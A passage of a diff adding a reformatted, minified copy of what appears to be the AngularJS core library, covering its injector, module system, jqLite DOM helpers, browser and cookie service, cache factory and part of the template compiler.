b.toString() == a.toString(); + if ( + (b && b.$evalAsync && b.$watch) || + (a && a.$evalAsync && a.$watch) || + Ja(b) || + Ja(a) || + L(a) + ) + return !1; + c = {}; + for (d in b) + if ("$" !== d.charAt(0) && !N(b[d])) { + if (!Ca(b[d], a[d])) return !1; + c[d] = !0; + } + for (d in a) + if ( + !c.hasOwnProperty(d) && + "$" !== d.charAt(0) && + a[d] !== u && + !N(a[d]) + ) + return !1; + return !0; + } + return !1; + } + function Bb(b, a) { + var c = 2 < arguments.length ? wa.call(arguments, 2) : []; + return !N(a) || a instanceof RegExp + ? a + : c.length + ? function () { + return arguments.length + ? a.apply(b, c.concat(wa.call(arguments, 0))) + : a.apply(b, c); + } + : function () { + return arguments.length ? a.apply(b, arguments) : a.call(b); + }; + } + function Vc(b, a) { + var c = a; + "string" === typeof b && "$" === b.charAt(0) + ? (c = u) + : Ja(a) + ? (c = "$WINDOW") + : a && X === a + ? (c = "$DOCUMENT") + : a && a.$evalAsync && a.$watch && (c = "$SCOPE"); + return c; + } + function oa(b, a) { + return "undefined" === typeof b + ? u + : JSON.stringify(b, Vc, a ? " " : null); + } + function ac(b) { + return G(b) ? JSON.parse(b) : b; + } + function Wa(b) { + "function" === typeof b + ? (b = !0) + : b && 0 !== b.length + ? ((b = x("" + b)), + (b = !( + "f" == b || + "0" == b || + "false" == b || + "no" == b || + "n" == b || + "[]" == b + ))) + : (b = !1); + return b; + } + function ia(b) { + b = A(b).clone(); + try { + b.empty(); + } catch (a) {} + var c = A("
").append(b).html(); + try { + return 3 === b[0].nodeType + ? x(c) + : c.match(/^(<[^>]+>)/)[1].replace(/^<([\w\-]+)/, function (a, b) { + return "<" + x(b); + }); + } catch (d) { + return x(c); + } + } + function bc(b) { + try { + return decodeURIComponent(b); + } catch (a) {} + } + function cc(b) { + var a = {}, + c, + d; + r((b || "").split("&"), function (b) { + b && + ((c = b.replace(/\+/g, "%20").split("=")), + (d = bc(c[0])), + D(d) && + ((b = D(c[1]) ? bc(c[1]) : !0), + lb.call(a, d) + ? L(a[d]) + ? a[d].push(b) + : (a[d] = [a[d], b]) + : (a[d] = b))); + }); + return a; + } + function Cb(b) { + var a = []; + r(b, function (b, d) { + L(b) + ? r(b, function (b) { + a.push(Da(d, !0) + (!0 === b ? "" : "=" + Da(b, !0))); + }) + : a.push(Da(d, !0) + (!0 === b ? "" : "=" + Da(b, !0))); + }); + return a.length ? a.join("&") : ""; + } + function mb(b) { + return Da(b, !0) + .replace(/%26/gi, "&") + .replace(/%3D/gi, "=") + .replace(/%2B/gi, "+"); + } + function Da(b, a) { + return encodeURIComponent(b) + .replace(/%40/gi, "@") + .replace(/%3A/gi, ":") + .replace(/%24/g, "$") + .replace(/%2C/gi, ",") + .replace(/%20/g, a ? "%20" : "+"); + } + function Wc(b, a) { + function c(a) { + a && d.push(a); + } + var d = [b], + e, + f, + g = ["ng:app", "ng-app", "x-ng-app", "data-ng-app"], + h = /\sng[:\-]app(:\s*([\w\d_]+);?)?\s/; + r(g, function (a) { + g[a] = !0; + c(X.getElementById(a)); + a = a.replace(":", "\\:"); + b.querySelectorAll && + (r(b.querySelectorAll("." + a), c), + r(b.querySelectorAll("." + a + "\\:"), c), + r(b.querySelectorAll("[" + a + "]"), c)); + }); + r(d, function (a) { + if (!e) { + var b = h.exec(" " + a.className + " "); + b + ? ((e = a), (f = (b[2] || "").replace(/\s+/g, ","))) + : r(a.attributes, function (b) { + !e && g[b.name] && ((e = a), (f = b.value)); + }); + } + }); + e && a(e, f ? [f] : []); + } + function dc(b, a) { + var c = function () { + b = A(b); + if (b.injector()) { + var c = b[0] === X ? "document" : ia(b); + throw Va("btstrpd", c.replace(//, ">")); + } + a = a || []; + a.unshift([ + "$provide", + function (a) { + a.value("$rootElement", b); + }, + ]); + a.unshift("ng"); + c = ec(a); + c.invoke([ + "$rootScope", + "$rootElement", + "$compile", + "$injector", + "$animate", + function (a, b, c, d, e) { + a.$apply(function () { + b.data("$injector", d); + c(b)(a); + }); + }, + ]); + return c; + }, + d = /^NG_DEFER_BOOTSTRAP!/; + if (W && !d.test(W.name)) return c(); + W.name = W.name.replace(d, ""); + Xa.resumeBootstrap = function (b) { + r(b, function (b) { + a.push(b); + }); + c(); + }; + } + function nb(b, a) { + a = a || "_"; + return b.replace(Xc, function (b, d) { + return (d ? a : "") + b.toLowerCase(); + }); + } + function Db(b, a, c) { + if (!b) throw Va("areq", a || "?", c || "required"); + return b; + } + function Ya(b, a, c) { + c && L(b) && (b = b[b.length - 1]); + Db( + N(b), + a, + "not a function, got " + + (b && "object" === typeof b ? b.constructor.name || "Object" : typeof b) + ); + return b; + } + function Ea(b, a) { + if ("hasOwnProperty" === b) throw Va("badname", a); + } + function fc(b, a, c) { + if (!a) return b; + a = a.split("."); + for (var d, e = b, f = a.length, g = 0; g < f; g++) + (d = a[g]), b && (b = (e = b)[d]); + return !c && N(b) ? Bb(e, b) : b; + } + function Eb(b) { + var a = b[0]; + b = b[b.length - 1]; + if (a === b) return A(a); + var c = [a]; + do { + a = a.nextSibling; + if (!a) break; + c.push(a); + } while (a !== b); + return A(c); + } + function Yc(b) { + var a = z("$injector"), + c = z("ng"); + b = b.angular || (b.angular = {}); + b.$$minErr = b.$$minErr || z; + return ( + b.module || + (b.module = (function () { + var b = {}; + return function (e, f, g) { + if ("hasOwnProperty" === e) throw c("badname", "module"); + f && b.hasOwnProperty(e) && (b[e] = null); + return ( + b[e] || + (b[e] = (function () { + function b(a, d, e) { + return function () { + c[e || "push"]([a, d, arguments]); + return n; + }; + } + if (!f) throw a("nomod", e); + var c = [], + d = [], + l = b("$injector", "invoke"), + n = { + _invokeQueue: c, + _runBlocks: d, + requires: f, + name: e, + provider: b("$provide", "provider"), + factory: b("$provide", "factory"), + service: b("$provide", "service"), + value: b("$provide", "value"), + constant: b("$provide", "constant", "unshift"), + animation: b("$animateProvider", "register"), + filter: b("$filterProvider", "register"), + controller: b("$controllerProvider", "register"), + directive: b("$compileProvider", "directive"), + config: l, + run: function (a) { + d.push(a); + return this; + }, + }; + g && l(g); + return n; + })()) + ); + }; + })()) + ); + } + function Zc(b) { + E(b, { + bootstrap: dc, + copy: Ka, + extend: E, + equals: Ca, + element: A, + forEach: r, + injector: ec, + noop: v, + bind: Bb, + toJson: oa, + fromJson: ac, + identity: ga, + isUndefined: F, + isDefined: D, + isString: G, + isFunction: N, + isObject: T, + isNumber: jb, + isElement: Tc, + isArray: L, + version: $c, + isDate: va, + lowercase: x, + uppercase: La, + callbacks: { counter: 0 }, + $$minErr: z, + $$csp: Za, + }); + $a = Yc(W); + try { + $a("ngLocale"); + } catch (a) { + $a("ngLocale", []).provider("$locale", ad); + } + $a( + "ng", + ["ngLocale"], + [ + "$provide", + function (a) { + a.provider({ $$sanitizeUri: bd }); + a.provider("$compile", gc) + .directive({ + a: cd, + input: hc, + textarea: hc, + form: dd, + script: ed, + select: fd, + style: gd, + option: hd, + ngBind: id, + ngBindHtml: jd, + ngBindTemplate: kd, + ngClass: ld, + ngClassEven: md, + ngClassOdd: nd, + ngCloak: od, + ngController: pd, + ngForm: qd, + ngHide: rd, + ngIf: sd, + ngInclude: td, + ngInit: ud, + ngNonBindable: vd, + ngPluralize: wd, + ngRepeat: xd, + ngShow: yd, + ngStyle: zd, + ngSwitch: Ad, + ngSwitchWhen: Bd, + ngSwitchDefault: Cd, + ngOptions: Dd, + ngTransclude: Ed, + ngModel: Fd, + ngList: Gd, + ngChange: Hd, + required: ic, + ngRequired: ic, + ngValue: Id, + }) + .directive({ ngInclude: Jd }) + .directive(Fb) + .directive(jc); + a.provider({ + $anchorScroll: Kd, + $animate: Ld, + $browser: Md, + $cacheFactory: Nd, + $controller: Od, + $document: Pd, + $exceptionHandler: Qd, + $filter: kc, + $interpolate: Rd, + $interval: Sd, + $http: Td, + $httpBackend: Ud, + $location: Vd, + $log: Wd, + $parse: Xd, + $rootScope: Yd, + $q: Zd, + $sce: $d, + $sceDelegate: ae, + $sniffer: be, + $templateCache: ce, + $timeout: de, + $window: ee, + $$rAF: fe, + $$asyncCallback: ge, + }); + }, + ] + ); + } + function ab(b) { + return b + .replace(he, function (a, b, d, e) { + return e ? d.toUpperCase() : d; + }) + .replace(ie, "Moz$1"); + } + function Gb(b, a, c, d) { + function e(b) { + var e = c && b ? [this.filter(b)] : [this], + k = a, + m, + l, + n, + q, + p, + s; + if (!d || null != b) + for (; e.length; ) + for (m = e.shift(), l = 0, n = m.length; l < n; l++) + for ( + q = A(m[l]), + k ? q.triggerHandler("$destroy") : (k = !k), + p = 0, + q = (s = q.children()).length; + p < q; + p++ + ) + e.push(Fa(s[p])); + return f.apply(this, arguments); + } + var f = Fa.fn[b], + f = f.$original || f; + e.$original = f; + Fa.fn[b] = e; + } + function S(b) { + if (b instanceof S) return b; + G(b) && (b = $(b)); + if (!(this instanceof S)) { + if (G(b) && "<" != b.charAt(0)) throw Hb("nosel"); + return new S(b); + } + if (G(b)) { + var a = b; + b = X; + var c; + if ((c = je.exec(a))) b = [b.createElement(c[1])]; + else { + var d = b, + e; + b = d.createDocumentFragment(); + c = []; + if (Ib.test(a)) { + d = b.appendChild(d.createElement("div")); + e = (ke.exec(a) || ["", ""])[1].toLowerCase(); + e = da[e] || da._default; + d.innerHTML = + "
 
" + e[1] + a.replace(le, "<$1>") + e[2]; + d.removeChild(d.firstChild); + for (a = e[0]; a--; ) d = d.lastChild; + a = 0; + for (e = d.childNodes.length; a < e; ++a) c.push(d.childNodes[a]); + d = b.firstChild; + d.textContent = ""; + } else c.push(d.createTextNode(a)); + b.textContent = ""; + b.innerHTML = ""; + b = c; + } + Jb(this, b); + A(X.createDocumentFragment()).append(this); + } else Jb(this, b); + } + function Kb(b) { + return b.cloneNode(!0); + } + function Ma(b) { + Lb(b); + var a = 0; + for (b = b.childNodes || []; a < b.length; a++) Ma(b[a]); + } + function lc(b, a, c, d) { + if (D(d)) throw Hb("offargs"); + var e = pa(b, "events"); + pa(b, "handle") && + (F(a) + ? r(e, function (a, c) { + bb(b, c, a); + delete e[c]; + }) + : r(a.split(" "), function (a) { + F(c) ? (bb(b, a, e[a]), delete e[a]) : Ua(e[a] || [], c); + })); + } + function Lb(b, a) { + var c = b.ng339, + d = cb[c]; + d && + (a + ? delete cb[c].data[a] + : (d.handle && (d.events.$destroy && d.handle({}, "$destroy"), lc(b)), + delete cb[c], + (b.ng339 = u))); + } + function pa(b, a, c) { + var d = b.ng339, + d = cb[d || -1]; + if (D(c)) d || ((b.ng339 = d = ++me), (d = cb[d] = {})), (d[a] = c); + else return d && d[a]; + } + function Mb(b, a, c) { + var d = pa(b, "data"), + e = D(c), + f = !e && D(a), + g = f && !T(a); + d || g || pa(b, "data", (d = {})); + if (e) d[a] = c; + else if (f) { + if (g) return d && d[a]; + E(d, a); + } else return d; + } + function Nb(b, a) { + return b.getAttribute + ? -1 < + (" " + (b.getAttribute("class") || "") + " ") + .replace(/[\n\t]/g, " ") + .indexOf(" " + a + " ") + : !1; + } + function ob(b, a) { + a && + b.setAttribute && + r(a.split(" "), function (a) { + b.setAttribute( + "class", + $( + (" " + (b.getAttribute("class") || "") + " ") + .replace(/[\n\t]/g, " ") + .replace(" " + $(a) + " ", " ") + ) + ); + }); + } + function pb(b, a) { + if (a && b.setAttribute) { + var c = (" " + (b.getAttribute("class") || "") + " ").replace( + /[\n\t]/g, + " " + ); + r(a.split(" "), function (a) { + a = $(a); + -1 === c.indexOf(" " + a + " ") && (c += a + " "); + }); + b.setAttribute("class", $(c)); + } + } + function Jb(b, a) { + if (a) { + a = a.nodeName || !D(a.length) || Ja(a) ? [a] : a; + for (var c = 0; c < a.length; c++) b.push(a[c]); + } + } + function mc(b, a) { + return qb(b, "$" + (a || "ngController") + "Controller"); + } + function qb(b, a, c) { + 9 == b.nodeType && (b = b.documentElement); + for (a = L(a) ? a : [a]; b; ) { + for (var d = 0, e = a.length; d < e; d++) + if ((c = A.data(b, a[d])) !== u) return c; + b = b.parentNode || (11 === b.nodeType && b.host); + } + } + function nc(b) { + for (var a = 0, c = b.childNodes; a < c.length; a++) Ma(c[a]); + for (; b.firstChild; ) b.removeChild(b.firstChild); + } + function oc(b, a) { + var c = rb[a.toLowerCase()]; + return c && pc[b.nodeName] && c; + } + function ne(b, a) { + var c = function (c, e) { + c.preventDefault || + (c.preventDefault = function () { + c.returnValue = !1; + }); + c.stopPropagation || + (c.stopPropagation = function () { + c.cancelBubble = !0; + }); + c.target || (c.target = c.srcElement || X); + if (F(c.defaultPrevented)) { + var f = c.preventDefault; + c.preventDefault = function () { + c.defaultPrevented = !0; + f.call(c); + }; + c.defaultPrevented = !1; + } + c.isDefaultPrevented = function () { + return c.defaultPrevented || !1 === c.returnValue; + }; + var g = ha(a[e || c.type] || []); + r(g, function (a) { + a.call(b, c); + }); + 8 >= R + ? ((c.preventDefault = null), + (c.stopPropagation = null), + (c.isDefaultPrevented = null)) + : (delete c.preventDefault, + delete c.stopPropagation, + delete c.isDefaultPrevented); + }; + c.elem = b; + return c; + } + function Na(b, a) { + var c = typeof b, + d; + "function" == c || ("object" == c && null !== b) + ? "function" == typeof (d = b.$$hashKey) + ? (d = b.$$hashKey()) + : d === u && (d = b.$$hashKey = (a || ib)()) + : (d = b); + return c + ":" + d; + } + function db(b, a) { + if (a) { + var c = 0; + this.nextUid = function () { + return ++c; + }; + } + r(b, this.put, this); + } + function qc(b) { + var a, c; + "function" === typeof b + ? (a = b.$inject) || + ((a = []), + b.length && + ((c = b.toString().replace(oe, "")), + (c = c.match(pe)), + r(c[1].split(qe), function (b) { + b.replace(re, function (b, c, d) { + a.push(d); + }); + })), + (b.$inject = a)) + : L(b) + ? ((c = b.length - 1), Ya(b[c], "fn"), (a = b.slice(0, c))) + : Ya(b, "fn", !0); + return a; + } + function ec(b) { + function a(a) { + return function (b, c) { + if (T(b)) r(b, Yb(a)); + else return a(b, c); + }; + } + function c(a, b) { + Ea(a, "service"); + if (N(b) || L(b)) b = n.instantiate(b); + if (!b.$get) throw eb("pget", a); + return (l[a + h] = b); + } + function d(a, b) { + return c(a, { $get: b }); + } + function e(a) { + var b = [], + c, + d, + f, + h; + r(a, function (a) { + if (!m.get(a)) { + m.put(a, !0); + try { + if (G(a)) + for ( + c = $a(a), + b = b.concat(e(c.requires)).concat(c._runBlocks), + d = c._invokeQueue, + f = 0, + h = d.length; + f < h; + f++ + ) { + var g = d[f], + k = n.get(g[0]); + k[g[1]].apply(k, g[2]); + } + else + N(a) + ? b.push(n.invoke(a)) + : L(a) + ? b.push(n.invoke(a)) + : Ya(a, "module"); + } catch (p) { + throw ( + (L(a) && (a = a[a.length - 1]), + p.message && + p.stack && + -1 == p.stack.indexOf(p.message) && + (p = p.message + "\n" + p.stack), + eb("modulerr", a, p.stack || p.message || p)) + ); + } + } + }); + return b; + } + function f(a, b) { + function c(d) { + if (a.hasOwnProperty(d)) { + if (a[d] === g) throw eb("cdep", d + " <- " + k.join(" <- ")); + return a[d]; + } + try { + return k.unshift(d), (a[d] = g), (a[d] = b(d)); + } catch (e) { + throw (a[d] === g && delete a[d], e); + } finally { + k.shift(); + } + } + function d(a, b, e) { + var f = [], + h = qc(a), + g, + k, + p; + k = 0; + for (g = h.length; k < g; k++) { + p = h[k]; + if ("string" !== typeof p) throw eb("itkn", p); + f.push(e && e.hasOwnProperty(p) ? e[p] : c(p)); + } + L(a) && (a = a[g]); + return a.apply(b, f); + } + return { + invoke: d, + instantiate: function (a, b) { + var c = function () {}, + e; + c.prototype = (L(a) ? a[a.length - 1] : a).prototype; + c = new c(); + e = d(a, c, b); + return T(e) || N(e) ? e : c; + }, + get: c, + annotate: qc, + has: function (b) { + return l.hasOwnProperty(b + h) || a.hasOwnProperty(b); + }, + }; + } + var g = {}, + h = "Provider", + k = [], + m = new db([], !0), + l = { + $provide: { + provider: a(c), + factory: a(d), + service: a(function (a, b) { + return d(a, [ + "$injector", + function (a) { + return a.instantiate(b); + }, + ]); + }), + value: a(function (a, b) { + return d(a, aa(b)); + }), + constant: a(function (a, b) { + Ea(a, "constant"); + l[a] = b; + q[a] = b; + }), + decorator: function (a, b) { + var c = n.get(a + h), + d = c.$get; + c.$get = function () { + var a = p.invoke(d, c); + return p.invoke(b, null, { $delegate: a }); + }; + }, + }, + }, + n = (l.$injector = f(l, function () { + throw eb("unpr", k.join(" <- ")); + })), + q = {}, + p = (q.$injector = f(q, function (a) { + a = n.get(a + h); + return p.invoke(a.$get, a); + })); + r(e(b), function (a) { + p.invoke(a || v); + }); + return p; + } + function Kd() { + var b = !0; + this.disableAutoScrolling = function () { + b = !1; + }; + this.$get = [ + "$window", + "$location", + "$rootScope", + function (a, c, d) { + function e(a) { + var b = null; + r(a, function (a) { + b || "a" !== x(a.nodeName) || (b = a); + }); + return b; + } + function f() { + var b = c.hash(), + d; + b + ? (d = g.getElementById(b)) + ? d.scrollIntoView() + : (d = e(g.getElementsByName(b))) + ? d.scrollIntoView() + : "top" === b && a.scrollTo(0, 0) + : a.scrollTo(0, 0); + } + var g = a.document; + b && + d.$watch( + function () { + return c.hash(); + }, + function () { + d.$evalAsync(f); + } + ); + return f; + }, + ]; + } + function ge() { + this.$get = [ + "$$rAF", + "$timeout", + function (b, a) { + return b.supported + ? function (a) { + return b(a); + } + : function (b) { + return a(b, 0, !1); + }; + }, + ]; + } + function se(b, a, c, d) { + function e(a) { + try { + a.apply(null, wa.call(arguments, 1)); + } finally { + if ((s--, 0 === s)) + for (; J.length; ) + try { + J.pop()(); + } catch (b) { + c.error(b); + } + } + } + function f(a, b) { + (function ea() { + r(w, function (a) { + a(); + }); + t = b(ea, a); + })(); + } + function g() { + y != h.url() && + ((y = h.url()), + r(ba, function (a) { + a(h.url()); + })); + } + var h = this, + k = a[0], + m = b.location, + l = b.history, + n = b.setTimeout, + q = b.clearTimeout, + p = {}; + h.isMock = !1; + var s = 0, + J = []; + h.$$completeOutstandingRequest = e; + h.$$incOutstandingRequestCount = function () { + s++; + }; + h.notifyWhenNoOutstandingRequests = function (a) { + r(w, function (a) { + a(); + }); + 0 === s ? a() : J.push(a); + }; + var w = [], + t; + h.addPollFn = function (a) { + F(t) && f(100, n); + w.push(a); + return a; + }; + var y = m.href, + K = a.find("base"), + B = null; + h.url = function (a, c) { + m !== b.location && (m = b.location); + l !== b.history && (l = b.history); + if (a) { + if (y != a) { + var e = y && Ga(y) === Ga(a); + y = a; + !e && d.history + ? c + ? l.replaceState(null, "", a) + : (l.pushState(null, "", a), K.attr("href", K.attr("href"))) + : (e || (B = a), c ? m.replace(a) : (m.href = a)); + return h; + } + } else return B || m.href.replace(/%27/g, "'"); + }; + var ba = [], + O = !1; + h.onUrlChange = function (a) { + if (!O) { + if (d.history) A(b).on("popstate", g); + if (d.hashchange) A(b).on("hashchange", g); + else h.addPollFn(g); + O = !0; + } + ba.push(a); + return a; + }; + h.$$checkUrlChange = g; + h.baseHref = function () { + var a = K.attr("href"); + return a ? a.replace(/^(https?\:)?\/\/[^\/]*/, "") : ""; + }; + var M = {}, + ca = "", + P = h.baseHref(); + h.cookies = function (a, b) { + var d, e, f, h; + if (a) + b === u + ? (k.cookie = + escape(a) + + "=;path=" + + P + + ";expires=Thu, 01 Jan 1970 00:00:00 GMT") + : G(b) && + ((d = + (k.cookie = escape(a) + "=" + escape(b) + ";path=" + P).length + + 1), + 4096 < d && + c.warn( + "Cookie '" + + a + + "' possibly not set or overflowed because it was too large (" + + d + + " > 4096 bytes)!" + )); + else { + if (k.cookie !== ca) + for ( + ca = k.cookie, d = ca.split("; "), M = {}, f = 0; + f < d.length; + f++ + ) + (e = d[f]), + (h = e.indexOf("=")), + 0 < h && + ((a = unescape(e.substring(0, h))), + M[a] === u && (M[a] = unescape(e.substring(h + 1)))); + return M; + } + }; + h.defer = function (a, b) { + var c; + s++; + c = n(function () { + delete p[c]; + e(a); + }, b || 0); + p[c] = !0; + return c; + }; + h.defer.cancel = function (a) { + return p[a] ? (delete p[a], q(a), e(v), !0) : !1; + }; + } + function Md() { + this.$get = [ + "$window", + "$log", + "$sniffer", + "$document", + function (b, a, c, d) { + return new se(b, d, a, c); + }, + ]; + } + function Nd() { + this.$get = function () { + function b(b, d) { + function e(a) { + a != n && + (q ? q == a && (q = a.n) : (q = a), + f(a.n, a.p), + f(a, n), + (n = a), + (n.n = null)); + } + function f(a, b) { + a != b && (a && (a.p = b), b && (b.n = a)); + } + if (b in a) throw z("$cacheFactory")("iid", b); + var g = 0, + h = E({}, d, { id: b }), + k = {}, + m = (d && d.capacity) || Number.MAX_VALUE, + l = {}, + n = null, + q = null; + return (a[b] = { + put: function (a, b) { + if (m < Number.MAX_VALUE) { + var c = l[a] || (l[a] = { key: a }); + e(c); + } + if (!F(b)) + return a in k || g++, (k[a] = b), g > m && this.remove(q.key), b; + }, + get: function (a) { + if (m < Number.MAX_VALUE) { + var b = l[a]; + if (!b) return; + e(b); + } + return k[a]; + }, + remove: function (a) { + if (m < Number.MAX_VALUE) { + var b = l[a]; + if (!b) return; + b == n && (n = b.p); + b == q && (q = b.n); + f(b.n, b.p); + delete l[a]; + } + delete k[a]; + g--; + }, + removeAll: function () { + k = {}; + g = 0; + l = {}; + n = q = null; + }, + destroy: function () { + l = h = k = null; + delete a[b]; + }, + info: function () { + return E({}, h, { size: g }); + }, + }); + } + var a = {}; + b.info = function () { + var b = {}; + r(a, function (a, e) { + b[e] = a.info(); + }); + return b; + }; + b.get = function (b) { + return a[b]; + }; + return b; + }; + } + function ce() { + this.$get = [ + "$cacheFactory", + function (b) { + return b("templates"); + }, + ]; + } + function gc(b, a) { + var c = {}, + d = "Directive", + e = /^\s*directive\:\s*([\d\w_\-]+)\s+(.*)$/, + f = /(([\d\w_\-]+)(?:\:([^;]+))?;?)/, + g = /^(on[a-z]+|formaction)$/; + this.directive = function k(a, e) { + Ea(a, "directive"); + G(a) + ? (Db(e, "directiveFactory"), + c.hasOwnProperty(a) || + ((c[a] = []), + b.factory(a + d, [ + "$injector", + "$exceptionHandler", + function (b, d) { + var e = []; + r(c[a], function (c, f) { + try { + var g = b.invoke(c); + N(g) + ? (g = { compile: aa(g) }) + : !g.compile && g.link && (g.compile = aa(g.link)); + g.priority = g.priority || 0; + g.index = f; + g.name = g.name || a; + g.require = g.require || (g.controller && g.name); + g.restrict = g.restrict || "A"; + e.push(g); + } catch (k) { + d(k); + } + }); + return e; + }, + ])), + c[a].push(e)) + : r(a, Yb(k)); + return this; + }; + this.aHrefSanitizationWhitelist = function (b) { + return D(b) + ? (a.aHrefSanitizationWhitelist(b), this) + : a.aHrefSanitizationWhitelist(); + }; + this.imgSrcSanitizationWhitelist = function (b) { + return D(b) + ? (a.imgSrcSanitizationWhitelist(b), this) + : a.imgSrcSanitizationWhitelist(); + }; + this.$get = [ + "$injector", + "$interpolate", + "$exceptionHandler", + "$http", + "$templateCache", + "$parse", + "$controller", + "$rootScope", + "$document", + "$sce", + "$animate", + "$$sanitizeUri", + function (a, b, l, n, q, p, s, J, w, t, y, K) { + function B(a, b, c, d, e) { + a instanceof A || (a = A(a)); + r(a, function (b, c) { + 3 == b.nodeType && + b.nodeValue.match(/\S+/) && + (a[c] = A(b).wrap("").parent()[0]); + }); + var f = O(a, b, a, c, d, e); + ba(a, "ng-scope"); + return function (b, c, d, e) { + Db(b, "scope"); + var g = c ? Oa.clone.call(a) : a; + r(d, function (a, b) { + g.data("$" + b + "Controller", a); + }); + d = 0; + for (var k = g.length; d < k; d++) { + var p = g[d].nodeType; + (1 !== p && 9 !== p) || g.eq(d).data("$scope", b); + } + c && c(g, b); + f && f(b, g, g, e); + return g; + }; + } + function ba(a, b) { + try { + a.addClass(b); + } catch (c) {} + } + function O(a, b, c, d, e, f) { + function g(a, c, d, e) { + var f, p, l, m, q, n, w; + f = c.length; + var s = Array(f); + for (m = 0; m < f; m++) s[m] = c[m]; + n = m = 0; + for (q = k.length; m < q; n++) + (p = s[n]), + (c = k[m++]), + (f = k[m++]), + c + ? (c.scope + ? ((l = a.$new()), A.data(p, "$scope", l)) + : (l = a), + (w = c.transcludeOnThisElement + ? M(a, c.transclude, e) + : !c.templateOnThisElement && e + ? e + : !e && b + ? M(a, b) + : null), + c(f, l, p, d, w)) + : f && f(a, p.childNodes, u, e); + } + for (var k = [], p, l, m, q, n = 0; n < a.length; n++) + (p = new Ob()), + (l = ca(a[n], [], p, 0 === n ? d : u, e)), + (f = l.length ? I(l, a[n], p, b, c, null, [], [], f) : null) && + f.scope && + ba(p.$$element, "ng-scope"), + (p = + (f && f.terminal) || !(m = a[n].childNodes) || !m.length + ? null + : O( + m, + f + ? (f.transcludeOnThisElement || + !f.templateOnThisElement) && + f.transclude + : b + )), + k.push(f, p), + (q = q || f || p), + (f = null); + return q ? g : null; + } + function M(a, b, c) { + return function (d, e, f) { + var g = !1; + d || ((d = a.$new()), (g = d.$$transcluded = !0)); + e = b(d, e, f, c); + if (g) + e.on("$destroy", function () { + d.$destroy(); + }); + return e; + }; + } + function ca(a, b, c, d, g) { + var k = c.$attr, + p; + switch (a.nodeType) { + case 1: + ea(b, qa(Pa(a).toLowerCase()), "E", d, g); + for ( + var l, m, q, n = a.attributes, w = 0, s = n && n.length; + w < s; + w++ + ) { + var t = !1, + J = !1; + l = n[w]; + if (!R || 8 <= R || l.specified) { + p = l.name; + m = $(l.value); + l = qa(p); + if ((q = U.test(l))) p = nb(l.substr(6), "-"); + var y = l.replace(/(Start|End)$/, ""); + l === y + "Start" && + ((t = p), + (J = p.substr(0, p.length - 5) + "end"), + (p = p.substr(0, p.length - 6))); + l = qa(p.toLowerCase()); + k[l] = p; + if (q || !c.hasOwnProperty(l)) + (c[l] = m), oc(a, l) && (c[l] = !0); + S(a, b, m, l); + ea(b, l, "A", d, g, t, J); + } + } + a = a.className; + if (G(a) && "" !== a) + for (; (p = f.exec(a)); ) + (l = qa(p[2])), + ea(b, l, "C", d, g) && (c[l] = $(p[3])), + (a = a.substr(p.index + p[0].length)); + break; + case 3: + x(b, a.nodeValue); + break; + case 8: + try { + if ((p = e.exec(a.nodeValue))) + (l = qa(p[1])), ea(b, l, "M", d, g) && (c[l] = $(p[2])); + } catch (B) {} + } + b.sort(F); + return b; + } + function P(a, b, c) { + var d = [], + e = 0; + if (b && a.hasAttribute && a.hasAttribute(b)) { + do { + if (!a) throw ja("uterdir", b, c); + 1 == a.nodeType && + (a.hasAttribute(b) && e++, a.hasAttribute(c) && e--); + d.push(a); + a = a.nextSibling; + } while (0 < e); + } else d.push(a); + return A(d); + } + function C(a, b, c) { + return function (d, e, f, g, k) { + e = P(e[0], b, c); + return a(d, e, f, g, k); + }; + } + function I(a, c, d, e, f, g, k, q, n) { + function w(a, b, c, d) { + if (a) { + c && (a = C(a, c, d)); + a.require = H.require; + a.directiveName = z; + if (K === H || H.$$isolateScope) a = rc(a, { isolateScope: !0 }); + k.push(a); + } + if (b) { + c && (b = C(b, c, d)); + b.require = H.require; + b.directiveName = z; + if (K === H || H.$$isolateScope) b = rc(b, { isolateScope: !0 }); + q.push(b); + } + } + function t(a, b, c, d) { + var e, + f = "data", + g = !1; + if (G(b)) { + for (; "^" == (e = b.charAt(0)) || "?" == e; ) + (b = b.substr(1)), + "^" == e && (f = "inheritedData"), + (g = g || "?" == e); + e = null; + d && "data" === f && (e = d[b]); + e = e || c[f]("$" + b + "Controller"); + if (!e && !g) throw ja("ctreq", b, a); + } else + L(b) && + ((e = []), + r(b, function (b) { + e.push(t(a, b, c, d)); + })); + return e; + } + function J(a, e, f, g, n) { + function w(a, b) { + var c; + 2 > arguments.length && ((b = a), (a = u)); + Ia && (c = ca); + return n(a, b, c); + } + var y, + Q, + B, + M, + C, + P, + ca = {}, + ra; + y = c === f ? d : ha(d, new Ob(A(f), d.$attr)); + Q = y.$$element; + if (K) { + var ue = /^\s*([@=&])(\??)\s*(\w*)\s*$/; + P = e.$new(!0); + !I || (I !== K && I !== K.$$originalDirective) + ? Q.data("$isolateScopeNoTemplate", P) + : Q.data("$isolateScope", P); + ba(Q, "ng-isolate-scope"); + r(K.scope, function (a, c) { + var d = a.match(ue) || [], + f = d[3] || c, + g = "?" == d[2], + d = d[1], + k, + l, + n, + q; + P.$$isolateBindings[c] = d + f; + switch (d) { + case "@": + y.$observe(f, function (a) { + P[c] = a; + }); + y.$$observers[f].$$scope = e; + y[f] && (P[c] = b(y[f])(e)); + break; + case "=": + if (g && !y[f]) break; + l = p(y[f]); + q = l.literal + ? Ca + : function (a, b) { + return a === b || (a !== a && b !== b); + }; + n = + l.assign || + function () { + k = P[c] = l(e); + throw ja("nonassign", y[f], K.name); + }; + k = P[c] = l(e); + P.$watch( + function () { + var a = l(e); + q(a, P[c]) || (q(a, k) ? n(e, (a = P[c])) : (P[c] = a)); + return (k = a); + }, + null, + l.literal + ); + break; + case "&": + l = p(y[f]); + P[c] = function (a) { + return l(e, a); + }; + break; + default: + throw ja("iscp", K.name, c, a); + } + }); + } + ra = n && w; + O && + r(O, function (a) { + var b = { + $scope: a === K || a.$$isolateScope ? P : e, + $element: Q, + $attrs: y, + $transclude: ra, + }, + c; + C = a.controller; + "@" == C && (C = y[a.name]); + c = s(C, b); + ca[a.name] = c; + Ia || Q.data("$" + a.name + "Controller", c); + a.controllerAs && (b.$scope[a.controllerAs] = c); + }); + g = 0; + for (B = k.length; g < B; g++) + try { + (M = k[g]), + M( + M.isolateScope ? P : e, + Q, + y, + M.require && t(M.directiveName, M.require, Q, ca), + ra + ); + } catch (H) { + l(H, ia(Q)); + } + g = e; + K && (K.template || null === K.templateUrl) && (g = P); + a && a(g, f.childNodes, u, n); + for (g = q.length - 1; 0 <= g; g--) + try { + (M = q[g]), + M( + M.isolateScope ? P : e, + 